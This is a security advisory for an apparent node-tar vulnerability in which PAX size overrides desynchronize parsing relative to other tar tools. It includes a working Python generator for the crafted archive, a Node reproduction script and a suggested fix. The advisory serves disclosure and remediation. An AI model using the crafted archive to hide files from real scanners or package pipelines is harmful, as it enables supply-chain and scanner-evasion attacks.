CVE-2026-53655 — tar

Summary

tar (node-tar) applies a PAX extended header's size= record (and other PAX overrides) to the next header entry of any type, including intermediary metadata headers such as a GNU long-name (L) or long-link (K) entry. Per POSIX pax, a PAX extended header (x) describes the next file entry, not the intermediary extension headers that may sit between the x header and the file it annotates. Because node-tar lets the PAX size override the byte length of an intervening L/K/x header, an attacker can desynchronize node-tar's stream cursor relative to every other mainstream tar implementation (GNU tar, libarchive/bsdtar, Python tarfile, and the now-fixed tar-rs / astral-tokio-tar).

The result is a tar parser interpretation differential (CWE-436): a single crafted archive yields a different set of members under node-tar than under the reference tar tools. An attacker can use this to hide a member from one parser while it is visible to another, which defeats security tooling whose scanner and extractor disagree on archive contents (e.g. a malware/secret scanner that lists entries with one library while a downstream step extracts with another). node-tar is one of the most widely deployed JavaScript tar libraries (it backs npm's own package-tarball handling and is a transitive dependency of a very large fraction of the npm ecosystem), so the blast radius for "files that extract differently depending on the tool" is broad.

This is the same root cause and fix that was just addressed upstream in the Rust tar ecosystem (tar-rs / astral-tokio-tar); node-tar carries the equivalent defect and has no equivalent guard.

Impact

• CWE-436 Interpretation Conflict / inconsistent tar parsing (the same class as the prior tar "smuggling" advisories GHSA-j5gw-2vrg-8fgx and GHSA-fp55-jw48-c537).
• A crafted archive can present one logical member list to a tool that lists or scans with node-tar and a different member list to GNU tar / libarchive / Python tarfile (and vice versa). This lets a malicious file be hidden from a scanner that uses a different parser than the eventual extractor, or hidden from node-tar-based inspection while still landing on disk via a system tar.
• No authentication is required; the only precondition is that a victim parses an attacker-supplied tar with node-tar. Tar archives are routinely fetched from untrusted sources (package registries, user uploads, CI artifacts, container layers).
• Severity: Medium. Impact is integrity-of-archive-interpretation, not direct RCE; it is a building block for supply-chain / scanner-evasion attacks rather than a standalone code-execution primitive.

Vulnerable code (file:line)

src/header.ts (compiled to dist/esm/header.js:49 and dist/commonjs/header.js:85 in the published [email protected]):

// Header.decode(buf, off, ex, gex)
this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12)

ex is the currently-accumulated PAX local extended header and gex the PAX global header. The size override from ex/gex is applied unconditionally to whatever header is being decoded next — there is no check that the header being decoded is a real file entry rather than an intermediary extension header.

src/parse.ts, [CONSUMEHEADER] constructs the next header with the current EX/GEX applied:

const header = new Header(chunk, position, this[EX], this[GEX])

and later branches on whether that header is a metadata entry. this[EX] is cleared only in the non-meta (real file) branch:

if (entry.meta) {
  // L / K / x / g metadata entries: this[EX] is left intact here
  if (entry.size > this.maxMetaEntrySize) {
    entry.ignore = true
    this[STATE] = 'ignore'
    entry.resume()
  } else if (entry.size > 0) {
    this[META] = ''
    entry.on('data', c => (this[META] += c))
    this[STATE] = 'meta'
  }
} else {
  this[EX] = undefined   // EX cleared only once a real file entry is reached
}

When the stream is ordered x (PAX, size=N) -> L (GNU long-name) -> file, the L header is constructed with this[EX] still set, so its size/remain becomes N instead of the L payload's true length. node-tar then consumes N bytes of "metadata" and resumes header parsing at the wrong offset, landing mid-stream. Every other mainstream parser applies the PAX size only to the following file entry, so they stay synchronized.

The correct behavior (and the fix shipped upstream in the Rust tar ecosystem) is to not apply PAX size/overrides when the entry being decoded is itself an extension header (L GNU long-name, K GNU long-link, x PAX local, g PAX global).

How input reaches the sink

tar.list(), tar.extract()/tar.x(), and tar.Parse/tar.Unpack all route every 512-byte header block through Header.decode(...) with the currently-accumulated EX/GEX. Any consumer that parses an attacker-supplied archive — tar.list, tar.extract, or piping into the streaming Parser — reaches the sink. No options need to be enabled; the default code path is affected.

Proof of concept

Archive layout (all standard, GNU-tar-producible blocks):

block 0 : x  header  (PAX local extended, typeflag 'x'), its own size = len(pax body)
block 1 : x  payload : the single PAX record  "...size=2048\n"
block 2 : L  header  (GNU long-name '././@LongLink'), real size = 13
block 3 : L  payload : "longname.txt\0"      (the long name for the next file)
block 4 : file header 'file_a', size = 16
block 5 : file_a body (16 bytes, zero-padded to 512)
block 6 : file header 'file_b', size = 16
block 7 : file_b body (16 bytes, zero-padded to 512)

Generator (make_tar.py, pure stdlib, no external deps):

def hdr(name, size, typeflag):
    h = bytearray(512); name = name[:100]; h[0:len(name)] = name
    h[100:108] = b'0000644\0'; h[108:116] = b'0000000\0'; h[116:124] = b'0000000\0'
    h[124:136] = ('%011o\0' % size).encode(); h[136:148] = b'00000000000\0'
    h[156:157] = typeflag; h[257:263] = b'ustar\0'; h[263:265] = b'00'
    h[148:156] = b' ' * 8
    cs = sum(h); h[148:156] = ('%06o\0 ' % cs).encode()
    return bytes(h)

def pad(d):
    return d + b'\0' * ((512 - len(d) % 512) % 512)

def pax_record(key, val):              # length-prefixed PAX record "LEN key=val\n"
    body = b' %s=%s\n' % (key.encode(), str(val).encode()); n = len(body)
    while True:
        s = str(n).encode() + body
        if len(s) == n: break
        n = len(s)
    return s

pax = pax_record('size', 2048)         # malicious: claim size=2048 for the "next" entry
out  = hdr(b'PaxHeaders/x', len(pax), b'x') + pad(pax)
out += hdr(b'././@LongLink', 13, b'L') + pad(b'longname.txt\0')
out += hdr(b'file_a', 16, b'0')        + pad(b'AAAA_file_a_body')
out += hdr(b'file_b', 16, b'0')        + pad(b'BBBB_file_b_body')
out += b'\0' * 1024
open('pax-desync.tar', 'wb').write(out)

A negative-control archive is identical except the PAX record is pax_record('comment', 'x') (no size=), written to pax-control.tar.

End-to-end reproduction (against pinned version [email protected], latest release)

Install the published package into a clean project and parse both archives:

$ npm init -y >/dev/null && npm install [email protected]
$ node -e "console.log(require('tar/package.json').version)"
7.5.15
$ grep -n "ex?.size ?? gex?.size" node_modules/tar/dist/esm/header.js
49:        this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12);

e2e.mjs:

import * as tar from 'tar'
async function listEntries(f){
  const got=[], warns=[]
  await tar.list({ file:f, onReadEntry:e=>{ got.push({path:e.path,size:e.size,type:e.type}); e.resume() },
                   onwarn:(code,_msg)=>warns.push(code) })
  return { got, warns }
}
const mal = await listEntries('pax-desync.tar')
console.log('MALICIOUS entries :', JSON.stringify(mal.got), 'warnings:', JSON.stringify(mal.warns))
const ctl = await listEntries('pax-control.tar')
console.log('CONTROL  entries :', JSON.stringify(ctl.got), 'warnings:', JSON.stringify(ctl.warns))

Verbatim output:

=== Deployed-consumer E2E: npm [email protected] (latest release) ===

[MALICIOUS] archive = x(PAX size=2048) -> L(GNU longname "longname.txt") -> file_a(16B) -> file_b(16B)
  tar.list() entries : []
  tar.list() warnings: ["TAR_ENTRY_INVALID"]

[NEGATIVE CONTROL] same archive, PAX record is "comment=x" (no size= override)
  tar.list() entries : [{"path":"longname.txt","size":16,"type":"File"},{"path":"file_b","size":16,"type":"File"}]
  tar.list() warnings: []

Reference parsers on the same pax-desync.tar:

$ tar tvf pax-desync.tar
-rw-r--r--  0 0      0        2048 Jan  1  1970 longname.txt          # GNU tar

$ bsdtar tvf pax-desync.tar
-rw-r--r--  0 0      0        2048 Jan  1  1970 longname.txt          # libarchive

$ python3 -c "import tarfile; print([m.name for m in tarfile.open('pax-desync.tar').getmembers()])"
['longname.txt']                                                      # Python tarfile

Interpretation differential: GNU tar, libarchive (bsdtar), and Python tarfile all extract the member longname.txt from pax-desync.tar, whereas node-tar 7.5.15 desynchronizes, raises TAR_ENTRY_INVALID (checksum failure from landing mid-stream), and reports zero members. The negative control proves the divergence is caused solely by the PAX size= override being applied to the intermediary L header — when the same archive carries a PAX record without size=, node-tar parses it identically to the reference tools (longname.txt, file_b).

Suggested fix

When decoding a header, do not apply PAX size (or other PAX overrides) if the header being decoded is itself an extension header. Concretely, in src/parse.ts clear/ignore this[EX] (and this[GEX] for size) when the header's type is ExtendedHeader, GlobalExtendedHeader, NextFileHasLongPath (GNU L), or NextFileHasLongLinkpath (GNU K); equivalently, in Header.decode, gate the ex?.size ?? gex?.size override on the decoded type not being one of those extension types. This mirrors the upstream Rust fix, which guards pax_size with is_gnu_longname || is_gnu_longlink || is_pax_local_extensions || is_pax_global_extensions.

A fix PR is being prepared against a private fork and will be linked here.

Fix PR

To be linked from a private fork of the repository (the fix will not be pushed to any public fork or to upstream during embargo).

Credits

Reported by tonghuaroot.